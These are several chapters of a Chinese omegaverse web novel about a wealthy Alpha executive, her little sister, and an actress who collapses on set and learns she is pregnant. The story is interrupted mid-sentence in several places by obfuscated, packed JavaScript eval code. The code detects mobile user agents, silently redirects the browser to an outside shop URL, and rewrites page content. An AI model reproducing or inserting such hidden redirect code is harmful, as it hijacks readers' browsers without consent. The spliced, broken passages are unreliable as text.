纪从烟在文件堆里抬起头,滴了滴眼药水。 后颈腺体处渐渐升起灼热感,被Omega诱导出的易感期还没结束,一到深夜便开始隐隐渴求幽兰檀香Omega信息素的滋味。 她靠在沙发上调整呼吸,管家很快送来抑制剂。 冰凉的抑制液缓慢注入,腺体那一阵滚烫灼热的感觉才稍有缓解。 “姐姐......” 纪寻雾回来了,站在沙发不远处。 因从外面回来沾了一身的细菌,不敢靠近有洁癖的姐姐,只能睁着红通通的眼看姐姐打针。 小嘴抿着,泪水在眼眶里打转。 注射完,针管哐当进了专用垃圾桶,纪从烟慵懒地倚在沙发。 “我没事。” “姐姐打针,怎么可能没事。” “这是Alpha抑制剂,姐姐在易感期,打针才能好。” “好,姐姐痛不痛?” “有一点。” 抑制剂远不及Omega信息素有效。 如今只能算是勉强止住了腺体内乱窜的Alpha信息素,身体的温度一时消不下去,眼皮沉倦。 “姐姐你抱抱我就不疼了。” 小不点儿用厚毛毯将自己裹得严严实实,只一双通红的小眼露在外。 纪从烟不喜与人产生肢体接触,即便是家人。 纪寻雾偏生又是个高需求的妹妹,总是想要亲近姐姐。 姐妹二人的相处过程中,渐渐就诞生了这种亲近的方式。 裹成一团的纪寻雾规矩坐在纪从烟怀里,被抱着回卧室,下巴隔着厚厚的毛毯搭在姐姐肩上,向电梯门外的岑桑挥手示意晚安。 岑桑看着亲近的姐俩,一时露出欣慰的笑容。 回到卧室,纪从烟将妹妹放在浴室门口:“自己进去洗澡。” 纪寻雾点点头:“姐姐好一点了吗?” 纪从烟:“生理上的灼痛没有。” 眼看纪寻雾的小嘴又要瘪起,小眼神委屈又心疼,纪从烟适时补充:“但和寻雾的拥抱让我心里舒服很多很多。” 小家伙瞬间开心了:“姐姐以后不舒服了,要记得抱抱我。” 她擦着眼泪就进入浴室。 纪从烟坐在床边的软椅,捧着一本儿童睡前读物。 不多时,浴室水声停歇,传出吹风机嗡嗡的声响。 打理好自己的纪寻雾乖乖上床,被子盖过肩膀,眼睛一眨不眨地看向姐姐。 “昨天讲到哪了?”纪从烟问。 纪寻雾:“说到A国的石油大王桑妮斯,十六岁那年跟随母亲下油区,被重型设备卷走了一条腿,姐姐,桑妮斯是不是很痛?” 纪从烟:“是,寻雾想要抱抱她吗?” 纪寻雾认真摇头:“我只想要抱妈妈妈咪和姐姐。” 纪从烟笑:“寻雾可知道失去一条腿,意味着什么?” 纪寻雾:“意味着她要靠拐杖行走,又痛又困难,也意味着她是一个残疾人,或许在工作上不受人待见,工作艰难。” “是啊......不过她只是身体残缺,心灵却没有......” 房间里只开了一盏床头小灯,暖黄色的光落在二人身上,一大一小一坐一躺,轻声交谈,气氛无比温馨。 九点半,纪从烟从房间里出来,恰好收到了母亲的消息。 妈咪:【大宝贝,我们家小宝贝睡了没?】 纪从烟手机门缝里拍了张照。 母亲的小宝贝正睡得香甜。 妈咪:【辛苦我们家的大宝贝了。】 每回看到‘大宝贝’这个称呼,纪从烟眉心都要抖三下。 太肉麻了。 对比起家里三位成员,她像是某一处基因发生突变,对浪漫和亲近过敏。 妈妈:【怎么不回你妈咪的消息,没礼貌。】 只是半分钟没来得及回消息的纪从烟:【......】 正想给妈咪回消息,妈妈的消息又弹出来。 【睡了,别发消息打扰我们的美梦,好好照顾妹妹】 纪从烟:“。” 在门边看了会儿纪寻雾,离开主楼。 纪寻雾是两位母亲四十岁高龄时,意外捣鼓出来的。 彼时的纪从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两个月后,清晨。 纪从烟睡眼惺忪,光着脚从楼梯下来,手机里传来岑桑的声音。 “设计稿已经出来了,按您的要求,二楼双主卧改为单主卧,相对应的,楼梯也从双边改为单边。” 这院子是纪从烟太奶那一辈流传下来的。 年代久远,本该在多年前重修。 但恰逢大洁癖受不了住在主楼,搬进了这院子里,自那以后除了纪从烟和几位全副武装的清洁人员,便再没有人能踏足这一片。 前几天雷暴雨,雷劈倒了一小面墙,纪从烟还险些被砸了个正着。 这才不得不把重修正式提上日程。 “您也怪倒霉的,这院子近百年楼龄,偏偏今年出事,您要不查查最近有没有干什么缺德事儿?比如辜负了什么Omega,闹出了人命之类的。” 岑桑看了看黄历,认真提议。 “我是良好市民,不干那些事情。” 纪从烟坐在餐桌慢条斯理吃着早餐,仔细看着设计稿。 “二楼加个露台,对了,寻雾也要一起参加开机仪式,让她换好衣服。” “好,幼儿园那边需要我去请假吗?” “需要,这孩子也真是,偏要看什么漂亮姐姐。”纪从烟淡淡抱怨,“是她的亲姐姐长得还不够好看吗?” 8. 第 8 章 “寻雾还记得下片场的规矩吗?” “记得,场记说了Action就是在工作,不可以上前打扰。遇到不怀好意的人或者任何意外事件,要及时找姐姐。” 纪寻雾捧着水杯斯斯文文地喝了几口,想了想又补充:“还有,记得我的姐姐才是世界上最漂亮的Alpha。” 纪从烟满意点头,岑桑在驾驶位扶额。 奢华轿车停在影视基地门口。 制片人领着吴朗丽和几位副导演恭候投资方大驾。 “纪总,纪小姐,岑助。” 七月,艳阳高悬。 日头很晒,纪从烟打了把遮阳伞,纪寻雾自己打着迷你遮阳伞跟在姐姐后头。 剧方为三人介绍稍后开机仪式的流程。 “今天天气好,薄霜和其他几位主演在拍剧照,神位已经请好了,十分钟后拍摄结束,所有工作人员都会到神位前祭拜。” “还有十分钟,纪总是想在休息室歇一会儿,还是作别的打算?” 制片人将三人领到休息间门口。 纪从烟:“我们随便看看,都忙自己的去吧,别跟着,太高调了。” 休息室正对着工作人员稍后要聚集的广场,所有人的目光都若有若无地落在这边。 被制片人和导演组包围的待遇便是如此。 制片人其实很想说,纪总顶着这张所有人都认识的绝美脸蛋,即便她们不陪在身边,大家也会注意到的。 天气酷热,纪从烟穿了件低饱和绿的冰丝衬衫,下摆一角掐进深灰西裤,脚踩质感极佳的皮鞋,还戴了副墨镜。 只是随意地站在廊下,出挑的脸和优雅矜贵到无与伦比的气质,让剧组里即便见惯了美女美男的工作人员频频投来目光。 纪从烟处理了会儿工作,再次从手机里抬头,广场上几乎已经站满了工作人员。 岑桑接了个电话回来。 “世纪度假的股价已经跌倒咱们的预期,就等纪总您的令下,操盘手分批执行买入。” 纪从烟被薄霜诱导出易感期的那天晚上,所住的酒店便是世纪度假旗下最高端的酒店品牌。 纪从烟:“不急,世纪那两兄弟最近不是欠了一屁股外债,据闻最近在找买主,开价比市价更低。” 岑桑:“世纪度假的产业应该很抢手,咱们要不要派几队人去接触?” 纪从烟:“嗯,注意不要让他们知道是纪氏要买。” 岑桑:“明白,监控到底有没有坏,到时候咱们收购了就一清二楚。” 两个月前参加影视盛宴的那个晚上,纪从烟的房间被Omega闯入。 事后调查了一段时间,酒店方表示那天晚上,酒店高层的监控出现了线路故障,关键时间节点的监控消失。 薄霜是故意为之,还是意外? 广场人声鼎沸,工作人员们在吴朗丽导演的指挥下,一个个排好队上香,纪从烟的目光越过人群,精准落在黑衣包裹严实的薄霜身上。 就为了这个角色? 和她后来分批打过去的八亿现金? 她凝神思量。 薄霜也似有所感,回过头。 只看到了三道身影,两大一小,有说有笑。 “纪总!到您啦!” 吴朗丽的声音从广场传来。 纪从烟三人过去体验了一把开机上香仪式,纪寻雾不够高,岑桑抱起她。 说了几句拍摄顺利的吉祥话,纪从烟带着妹妹和助理站到第一排正中央。 同属正中央的位置,月屿娱乐的董事长笑着向她们打招呼。 “纪总,小纪总,好久不见。” “月董。”纪从烟颔首。 “阿霜,这是纪总,你肯定也认识。 你知道吧,这次能够定下你主角的位置,多亏纪总拍板,对你的演技表达出万分认可。来跟纪总打个招呼,以后还得请纪总多多提携。” 月屿娱乐虽与安纪娱乐同为影视行业天花板。 然而纪从烟的身份不止安纪娱乐总裁这一层,更是国内多行业巨头集团的总裁、少东家。 二者的社会地位完全不在同一维度。 能与纪氏集团结交,往后在圈里走的是通天大道。 月董眼神示意,薄霜上前:“纪总。” 她态度大方自然,语气轻缓温和,看纪从烟的眼神全然没有那夜的涣散迷离,只有不卑不亢的温婉柔和。 纪从烟隐隐约约嗅到了不该属于公共场合的Omega信息素味道。 可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283892|198399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仔细再嗅,那味道便没了。 · 开机仪式后,第一场戏准备开拍。 剧组工作人员有条不紊地架设仪器,演员正在补妆。 纪寻雾跟个小团宠似的,走哪哪就有漂亮的姐姐哥哥跟她打招呼,场边飘着一句又一句的‘小纪总’。 纪寻雾从小就被母亲和姐姐教导家里的情况,知道有的人为什么笑靥如花近乎谄媚地喊她‘小纪总’。 但凡有此举动,她便觉着原本长得还挺漂亮的姐姐哥哥,瞬间就没那么好看了。 她嘴巴抿平,顶着一张明媚的小脸,淡漠点头。 扭头就带着岑桑往别的地方逛去。 果然,她的姐姐才是世界上最美最漂亮的Alpha。 如是想着,不小心撞上了一个人。 ‘咚’一声很是响亮。 纪寻雾揉了揉脑袋,抬头道歉:“对不起,我不是故意的,你的鞋子被我踩脏了,发票价格是多少,我会赔偿的。” 被她撞到的姐姐美得惊为天人,像温柔的仙子。 她刚才也在姐姐身边看到过。 仙子蹲下与她平视,面上挂着浅浅的笑,不似旁人那样谄媚,她的笑容像庄园里含苞待放的花,让纪寻雾觉得舒服。 “小纪总,不用赔偿,一擦就干净了。倒是你,脑袋有没有撞疼?” 纪寻雾点头:“有,很痛。” “我的工作二十分钟后才开始,现在带你去处理一下额头的伤?” 小家伙撞的那一下可不轻,声音响亮,脑门隐隐泛着粉红,不处理恐怕会变成青紫色。 纪寻雾思索一番:“姐姐你稍等。” 说罢,她走到边上的岑桑那张开手,岑桑抱起她。 纪寻雾在岑桑耳边轻声。 “岑姐姐,薄姐姐是Alpha,Beta,还是Omega?” “Omega。” “姐姐不喜欢Omega,但我想要薄姐姐帮我处理脑袋上的伤。” “用你常用的方法就好了。”岑桑说。 二人窃窃私语。 纪寻雾了然,重新回到薄霜身边。 小嘴张口就来:“麻烦姐姐带我去妈妈身边,我妈妈的休息室有医药箱。” 9. 第 9 章 “妈妈!” 纪寻雾清脆响亮的声音在门外响起,纪从烟在剧本里抬起头,就见纪寻雾领了个外人进来。 “妈妈,我的脑袋不小心撞到了薄姐姐,薄姐姐带我来处理一下额头上的伤。” 纪从烟原本靠坐在沙发,闻言身子前倾,目光仔细逡巡着额头那一块小包。 温声:“疼不疼?” 纪寻雾:“疼,不过我相信,薄姐姐帮我处理了额头的伤势之后,就不会疼了。” 语气特别的煞有其事,仿佛薄霜是什么灵丹妙药,给她一处理就药到病除不痛了。 小家伙还牵着薄霜的手不放。 纪从烟确认她脑袋那一块没什么大碍,放松地靠回沙发,没给突如其来的陌生人一个眼神。 指尖翻阅剧本,语气漫不经心。 “薄小姐与我同辈,比我还年长三岁,寻雾要叫什么?” 纪寻雾是懂礼貌的小朋友。 和妈妈同辈的,是阿姨,这点简单的道理她明白。 可眼前的妈妈不是真的妈妈,是姐姐。 她抿了抿嘴:“妈妈......薄姐姐是漂亮姐姐,不能叫阿姨。” 纪从烟的眼神还在剧本上,勾唇:“行,就麻烦薄小姐给我家寻雾上药了。” 薄霜牵着纪寻雾,看着一大一小几乎是同一个模子里刻出来的脸,胃部突然翻涌着厉害。 嘴唇泛起了不自然的白。 她忍着身体的不适,为纪寻雾处理好额上的淤伤,纪寻雾全程乖巧,睁着那双黑葡萄般的眼睛望着薄霜。 纪从烟全程余光关注着,以防不速之客对妹妹不利。 那小不点倒是没心没肺的,只顾着看美人。 主演休息时间只剩五分钟,薄霜要补妆。告别了纪从烟母女,进入隔壁的化妆。 粉刷在她脸上快速扫过。 助理在身后小声抱怨着:“姐,说好的独立化妆间,怎么还能把一大半格开分给投资人,投资人又不是天天来。” 其余助理也跟着搭腔。 “导演怎么不把自己的休息室分出去,她就一个助理呢。” “投资人突然来了,也就欺负咱们姐腕儿大脾气也好。” “算了,少说两句吧。” 入眼的化妆间只有不到十平米。 原本的化妆间足有三十平,只是大半隔开了,分给了突然大驾项目拍摄现场的纪从烟。 薄霜及妆造团队连带助理共计六人,挤在这小小的休息室里,可谓十分拥挤。 “凡凡。” 薄霜睁开眼,看向化妆镜中的助理,语气温和。 “没关系的,纪总她们只在剧组待一天,过后挡板就会拆掉。要是觉着热,你们出去找朋友玩,别在这闷着。” 柳凡摇了摇头:“姐,我跟着你。” “姐,那我们先出去了哈。” 其余助理如蒙大赦,忙不迭逃了,化妆间里只剩薄霜、柳凡和化妆师三人。 门关上后,闷热的空气都好了许多。 柳凡暗暗翻了个白眼:“那些人活儿不好好干,就等着姐给她们下赦令了。” 化妆师轻笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283893|198399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“凡凡啊,姐每天被这么多人盯着已经够累了,咱就别再提那些糟心人了。说点有意思的八卦吧,隔壁小纪总见着了不?” 柳凡点头:“纪总的妹妹。” 化妆师:“害,哪里是妹妹嘛。” 柳凡八卦脸:“不是妹妹!?” 化妆师:“我不确定啊,很多人怀疑是纪总的私生女,刚才你看到纪总和小纪总长得有多像了吧?你说,是纪夫人四十岁的高龄产妇版本可信一点,还是纪总十九岁那年不小心闹出了人命更可信?” 二人低声聊着,全然没发现方才闭着眼的薄霜,睁开了眼。 休息时间结束,薄霜从化妆间回到戏场。 空气闷热,胃部还隐有不适,翻涌着恶心,面色愈发苍白。 这种恶心的感觉和以往每一次都不同,吃了往常两倍的药也压不下。 甚至越吃,身体状态越糟糕。 脑海里过着台词,薄霜强忍着恶心感,慢慢将自己浸入第一幕戏中。 开机的第一幕戏备受关注,投资人和剧方所有人员均在场,将偌大场地围得水泄不通。 这是一场葬礼戏,薄霜所饰演的主角丧妻,纪从烟坐在监视器旁,瞥了眼项目主角。 薄影后穿着一身低调的黑衣,头戴黑纱礼帽,庄严肃穆的打扮掩盖不住她骨子里透出的温婉。 似乎已经完全沉浸在丧妻的悲伤氛围里,面上尽是遮掩不住的沉寡苍白。 妆造做得十分到位,确有那么几分丧妻的意思。 纪从烟在心里对自己挑选的主角予以了肯定。 10. 第 10 章 战火纷飞的年代,割据一方的军王意外陨落。 古朴的宋式大院里,往来宾客穿着低调的黑衣,大门佣人为来宾系上白色胸花。 “这边请。” 佣人将他们引到厅堂。 堂内,一副漆黑的棺材横在正中央。 棺材盖开着,里头躺着一具焦黑的尸体。 样貌早已辨不出,只有堂上壁挂的硕大黑白照告诉人们,这位英勇善战的Alpha将军,生前是何等的英姿飒爽,艳美绝代。 一位美妇人跪在棺材前。 她穿着典雅古朴的黑色服装,头戴黑纱礼帽。 外面天色乌沉,厅内白苍的光线将美妇人脸色衬得更为悲怆肃穆,隐隐透出几分病态。 烧完纸钱,她缓慢回身向来宾鞠躬。 “诸位,招待不周。” 仪态大方落阔,语气温婉却消沉。 这是堂上威名显赫一方的纪将军之妻。 “纪夫人节哀。” “您与纪将军还有孩子,务必要保重身体。” “纪将军泉下有知,定会保佑您。” 宾客你一言我一语地说着话,纪太太平静地回应着亡妻战友的安慰,突然,胃部一阵剧烈的涌动,翻腾感觉直冲喉咙。 周遭的声音在这一刻降了几个度。 她回想起亡妻上战场前,她们最后一次的欢愉...... 本就病态的面色霎时更加苍白。 她强忍着胃部的剧烈不适,眼眶瞬间泛起绯红,怎一个我见犹怜。 宾客见状,只以为是将军夫人忧思过度,便愈发可怜起这被将军保护得极好、似金雀儿般的美妇人。 “Cut!” “过了!” 吴朗丽满意地看着监视器回放。 “纪总您看,薄影后这喉咙轻微的滚动,配合上自然发红的眼眶,圈内就没谁能有这么自然又恰到好处的演技。” 第一幕戏难点在于,薄霜需要将悼念亡妻的悲恸、突然发现怀了遗腹子的骤喜骤悲、强忍身体的不适和艰难、以及身为被将军保护得极好的遗孀,头一次独自主持大局需要平稳情绪的极致隐忍,多重复杂的情绪一层一层诠释,最后杂糅在一起,在爆发的瞬间平静收敛。 像水面以下爆发了地动,到了湖面,只剩一层浅浅的涟漪。 这最考验演技。 戏重了,那就不是浅浅的涟漪,是波涛汹涌,情绪泼人一脸。 戏轻了,涟漪都不曾见着,观众什么也看不出,一幕戏也就算废了。 即便是享誉全球的影后,吴朗丽也没有一次过的把握。 这种叠加身体难受和精神喜悲交杂的戏份,少说也得补拍些镜头。 而薄霜的演绎堪称浑然天成,完美。 纪从烟淡淡点评:“的确,像薄霜本人经历过丧妻和怀揣遗腹子。” 演什么像什么,是对一个演员的最高评价。 玉晨按照约定,今天亲自上门到化妆间给薄霜道歉,道歉结束后就到隔壁剧组找朋友玩。 这边开拍才来,在纪总身旁站了会儿,看完薄霜第一幕戏。 只觉薄霜演技又精进了,强得令人发指,给本想过来看看薄霜是否真有纪总所说演得十分出彩的她,下了个大马威。 这还比什么。 明眼人都能看出来薄霜不仅与这个角色适配,演绎水平还自然得离谱。 玉晨蛐蛐薄霜的话胎死腹中。 下一幕戏布景稍有变化,工作人员整理场地,演员补妆。 主演让人放心,项目就成功了小半,纪从烟专注地看完第一幕后,随意扫了几眼,低下头继续处理工作。 她的行程排得满当,像这种视察类的行程,行程里还会掺杂别的工作安排,确保线程占满,全方位高效运转。 现在需要戴上耳机,旁听集团内某个部门的线上会议。 一轮重要的讨论结束,员工们简单聊了几句题外话放松精神,纪从烟这时抬起头,恰好进入第n幕戏。 薄霜的脸色比刚才第一幕戏时要更苍白,站在棺材旁,指尖抚摸着巨幅黑白照的相框,身后满当当跪着亡妻的下属。 肃穆庄严的时刻,美妇人眉心微不可察地蹙了蹙。 “Cut!” 吴朗丽皱着眉,场记在一旁大气也不敢喘。 场边气氛也不像刚才那么轻松,众人脸上都写着沉重。 这一场戏,薄霜NG了足足8次。 完全跌出了应有演绎水准。 薄霜从镜头前走到监视器后:“抱歉,吴导,我调整一下状态。” 五分钟后,薄霜从化妆间出来,回到原位。 “......第九次Action!” 场记打板。 亡妻的属下忠诚无二,跪在身后等待遗孀接过将军遗愿,继承大局。 她抚摸着纪将军的相片,背对众人,眼中噙满对亡妻的浓烈情相思之情。 在某一个瞬间,她做下了决定,重重掐着相框边缘,温婉嗓音颤抖而坚定。 “全体纪家——” 纪家军三个字还没完整说出,胃部翻涌的感觉瞬间冲顶上喉咙,薄霜不受控制地重重滚动喉咙,硬生生压制住了呕吐。 可这样一来便和前面八次一样,一场戏作废。 场记清脆的‘cut’声响起,四周围观多时的工作人员低声交谈,有人疑惑,有人不耐,有人担忧观望。 恶心呕吐的感觉几乎隐忍到了极致。 薄霜和吴朗丽匆匆打了声招呼,紧抿着唇往化妆间的方向离开。 监视器附近一片寂静,所有人都在看吴导的脸色,更偷偷关注着两位资方。 月董心中暗骂,面上笑容得体,主动跟纪从烟打了声招呼:“纪总,我去接个电话,朗丽,你招待好纪总。” 剧组里两位重要人员,导演吴朗丽和主演薄霜,同是月屿娱乐旗下的得力大将。 吴朗丽心中暗骂姓月的。 那老狐狸倒好,自己不敢得罪纪总,把人留给她,溜到一边肯定是给薄霜经纪人打电话去了。 “纪总,烦请借一步说话。” 吴朗丽笑容可掬。 片场人多,不适合交谈。 回到休息室,岑桑给纪从烟和吴朗丽各沏了杯茶,纪寻雾安静坐在一旁,目光频繁担忧地看向门外。 吴朗丽把原片带进来了,给纪从烟放了一遍前面几场戏的节选。 纪从烟双手交叠,好整以暇:“吴导,我这外行的水平都能看出,除了第一场,后面的只能算差强人意。” 用,是能用。 但和第一场相比,简直一个在天上一个在地面。 吴朗丽赔笑:“纪总,演员的状态有时会不同,薄霜是全球各大奖项和民众公认的影后。况且,咱们不是已经定下了让薄霜担任主角么,一时之间变来变去的也不好。” 明白人之间无需打暗语。 纪从烟看了后面的片段,眼神中是藏不住的要换人。 玉晨就在现场,借了岑助的剧本来看,看样子是察觉出薄霜状态不对,跃跃欲试了。 只要纪从烟下 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“演不好也行啊,黄总挺看重你的,什么时候去陪黄总喝一杯?要选哪个,你自己想清楚。” 电话挂断,室内只剩下空调运转的嗡嗡声。 鬓角滑落汗水,薄霜翻出了手机银行,还没看清余额,翻江倒海的恶心感再度袭来。 · 纪从烟在休息室开完了会,眯眼歇了会儿。 主演那敷衍人的演绎水平,不去看也罢。 “妈妈,我回来啦。”纪寻雾探进门一个小脑袋。 纪从烟笑:“外面热不热,进来吹会儿凉风。” 纪寻雾摇头:“不热,薄姐姐也在,薄姐姐也能和我一起进来吗?” 纪从烟脸上的笑容消失。 薄霜进门后打招呼:“纪总。” 茶勺搅动瓷杯中的水,纪从烟不紧不慢喝了口。 “薄小姐好手段,倘若能把这些心思放在正道上,也不至于NG九次。” 薄霜站在不远处,低垂眉眼:“耽误剧组时间是我的不是,可否请纪总高抬贵手宽限两天?” 纪从烟扫了眼那挡板:“隔音这么差?” “抱歉纪总,我并非故意,还请纪总宽限两天。” “我是不是已经给你宽限了两个月?薄小姐倒好,钱拿了,假放了,来剧组养老了是么?” 纪从烟靠在沙发,眸光冷淡。 “纪总......” 薄霜面色苍白,胃部仍泛恶心,剔透的汗液顺着修长颈项滑落。 她半点求人的姿态都没有。 虽低垂着眼,然态度不卑不亢,长睫颤动着,眼眶也因着刚才的戏份而通红。 更像是故意示弱,意图温柔引导她应下她的请求。 隐约间,纪从烟嗅到了一股不该属于这个空气的气味。 幽兰檀香中夹杂了一种特殊的香气。 心神一时恍惚,等反应过来时,她手上正拎着一壶水,温热的水缓慢注入一个干净的茶杯里。 要是反应再慢些,这茶杯说不好送到谁手上。 和那天晚上一样。 意识到自己做了多余的事情。 纪从烟眼尾不悦地压下,招呼纪寻雾过来喝水。 纪寻雾迈着小脚步就来了。 接过水,稳重地走到薄霜身旁,双手递出:“薄姐姐喝水。” 薄霜微怔,纪从烟预感不妙,眼皮直跳。 纪寻雾笑容灿烂:“妈妈从不给我倒水的,所以这杯水,是妈妈倒给薄姐姐的。” 11. 第 11 章 “谢谢纪总和小纪总。” 薄霜蹲下,双手接过纪寻雾递来的水。 瓷白的脸仰着,轻抿杯口。 小口小口喝着,喝完将杯子轻轻放在茶几上。 “打扰纪总和小纪总了。” 纪从烟坐太久,站起身松了松腰背,看着时间。 “薄小姐,两个月的时间已经足够宽松,现在,你还有六个小时向我证明你是本剧组主角的不二人选,否则——” 明媚脸上的笑意不及眼底:“玉晨将会接替这部戏的主角之位,我言尽于此。” 她理了理衬衫衣摆,正要带纪寻雾到外面走几圈,突然,身前一道阴影袭来。 薄霜眼前一片晕眩,早已失去了方向感,恶心的感觉再度上涌。 纪从烟后退两步要躲开Omega突如其来的袭击,然而身后就是沙发,小腿碰到沙发的瞬间恰好被薄霜撞得直坐下,Omega直直摔进怀里。 头发又被压住,紧紧绷着头皮,她轻嘶了声,眉心狠狠拧起。 “薄小姐只会用这种下三滥的——纪寻雾,你捂着眼睛干什么?” 纪寻雾一双手捂脸:“非礼勿视。” 纪从烟额角青筋跳起,一边抽出那头被压着的柔顺长发。 一边冷声:“薄小姐,一而再再而三地挑衅我的底线,我是不是给了你我很好讹的错觉?嗯?” 趴在身上的女人一动不动,纪从烟感觉到对方的心跳在剧烈加速。 呵,原来还暗恋我。 她并未给追求者好脸色,唇齿间淡淡吐出一个:“滚。” “妈妈,薄姐姐不舒服,你不要这么凶。”纪寻雾的声音有些着急。 纪从烟:“不是捂着眼睛?哪只眼睛看见她不舒服了?” 纪寻雾:“指头有缝隙呀,你快看看薄姐姐。” 小家伙的声音有些颤抖,纪从烟明白,妹妹不会在这些事情上开玩笑。 薄霜的趴躺姿势由始至终没有变化,清瘦的后背起伏剧烈,呼吸很重,指尖深深陷入了沙发。 纪从烟心下一凛:“寻雾,过来帮忙,拨开她脸上的头发,再把我的手套拿过来。” 纪寻雾很快拨开头发,薄霜额上是薄薄的一层汗,温婉的面容苍白憔悴,趴在腿上,与黑色西裤形成了鲜明的黑白色泽对比。 喉咙似乎隐隐在滚动。 这一幕画面与刚才第一场戏有点像。 没考虑太多,纪从烟拨通了紧急救护电话。 等待救护车来的途中,薄霜很不安分,沙发很软,她的手没有支点,胡乱摸索几次碰到纪从烟。 纪从烟容许伤患趴在自己腿上已经是底线,还被摸索便就忍无可忍。 扼住那一双皓腕,反压到后背,低声威胁。 “老实点。” 她手上戴着纯黑真皮手套,材质轻薄透气,完全贴着肌肤。 纪家人手骨架都大,纪从烟单手便轻而易举扼住了薄霜的两截纤细手腕,指尖能收拢起一个圈还有余。 “抱,抱歉......给纪总添麻烦了。” Alpha身上的香气让薄霜感到舒适,昏迷当中才会下意识寻求对方的安抚。 手被反绑着,胳膊持续的酸痛感才让她从眩晕状态下清醒。 然而浑身没劲,说话也是有气无力。 · 救护车很快到来,把薄霜带走。 车辆不是常规的救护车样式,外观十分低调和宽体商务车类似,剧组大部分人都没注意到主演已经离开。 吴朗丽是那注意到的少部分。 “纪总,薄影后这是......?” 纪从烟淡淡扫了眼来客:“三天,我只给你和薄霜三天时间。” “诶诶诶好。” 虽然不清楚纪总怎么突然改主意了,但吴朗丽没有不应的道理,连忙回去准备三天后的验收。 休息室门再次关上。 Omega的香气在室内萦绕,经久不散。 吴朗丽是个Omega,刚才没有对室内的气味作出特别的反应,问纪寻雾也是没说闻到。 只有纪从烟被这股莫名好闻的气息困扰。 她嫌弃地拍了拍衬衫和大腿,就属这里的味道最重。 工作一天回到小院,纪从烟在浴室里快把自己搓秃噜皮,才清掉了挥之不去的Omega信香。 上次一夜荒唐过后都没这么离谱。 客厅熏着淡雅的雪香。 浴袍穿得松垮,纪从烟躺在沙发。 一弯明月高悬,照亮落地窗外的小院,景色古朴典雅。 在舒适娴静的环境里,她闭上双眼沉沉睡去。 她工作高效,睡眠质量也极佳,属于秒睡人群。 凌晨三点,一则紧急电话铃声划破空气。 沉睡中的优雅女人猛地睁开双眼。 电话那端,医护的声音仓皇:“纪总,秦女士不见了。” · 华纪医疗坐落在市中心与市郊接壤之处,依山傍水,景色极佳,私密性强。 是全球顶尖的医院和疗养院综合体。 “薄女士,您已经怀孕八周零五天了,呕吐、眩晕、食欲不振等等症状,都是孕前期的不良反应。” “您进医院之前吃的止吐药,万幸一部分还没消化,这边已经及时给您洗胃了。您的女儿各项数值都很健康,没被这些药物影响,是个顽强的小家伙。” “但是这边血检数据看到您体内营养严重不足。” 白大褂将数值投到屏幕上,从体内的常量元素到微量元素,严重缺乏的数值会标红。 大屏幕一水的深红色。 “您之前没有怀孕的时候,体内营养勉强足够支撑一个人,可是胎儿所需的营养较多,这才导致您孕前期的不良反应比一般人都要严重。” “您的职业辛苦,需要保持身材能够理解,但现在有了孩子,若是想要顺利健康生下来,需要加强营养补充。” 女人躺在床上沉默许久。 手背连接针管,点滴一滴一滴坠落。 良久,她的声音温婉又沙哑:“医生,可以安排打胎吗?” “可以,随时可以安排,但您想清楚了吗?确定要打掉这个孩子?” 女人又是沉默良久:“我考虑一下。” 一条溪水贯穿后山,水面澄澈,女人坐在溪边的石凳上。 夜风习习拂面,吹起几缕乌丝。 凉意从衣领灌入。 七月的夜风微凉,整体是舒适的,然而她双手无意识地护在小腹前,为小生命提供源源不断的暖意。 打了点滴,吃了些营养品,从下午坐到深夜,眩晕和恶心感有所缓解。 凌乱的思绪却怎么也捋不清。 不该怀的。 怀上的概率太低了。 纪从烟过于青涩,标记齿咬了半天没咬准位置,后颈的腺体被咬得肿胀。 情热的她忍耐着身体异样,扶着青涩的Alpha,一遍又一遍婉声安抚。 急红了眼的纪从烟才勉强接受她的手插入她后脑勺发丝里。 薄霜温柔地引导她找准位置。 位置在后颈,看不见。 只能通过标记齿感受着肌肤被逡巡游走,感受着每一寸肌肤的颤栗,直到磨人的齿尖对准腺体。 对方也才成功打下了一个临时标记。 也是那个混乱无序夜晚的唯一一个标记。 即便是在发情期和易感期,临时标记能怀上的概率也不足千分之一。 一阵窸窣声传来打断薄霜的思绪。 夜色下,一位上了年纪的老妪驾驶着电动轮椅向她行来。 “小姑娘,怎么哭了?谁欺负你?” 薄霜微怔,指背轻轻擦过眼角,水色泛光。 “没事奶奶,风有点大,进眼睛了。” “嗳唷,就别骗我这种老婆子啦,是工作不顺心,还是遇人不淑了?我这把年纪也经历过不少事情,你跟我老婆子说道说道,指不定我能给你指条明路呢。” 薄霜抹了抹眼角的泪,轻笑着接过轮椅:“工作上的事情有解决方法了。” 只需要补足营养,身体养回来,状态就能恢复。 “嗯......至于遇人不淑嘛——” 她一边推着轮椅,一边思考。 若不是纪从烟,那天晚上她恐怕就要...... 可也是因为纪从烟,她的身体被迫休养两个月,还意外怀上了孩子,身体状态一落千丈,险些连角色也保不住。 “哎,你是谁?” 老妪突然发问,薄霜拖长的尾音戛然而止。 她缓慢蹲到轮椅前,老人眼神浑浊,不似刚才那么清醒。 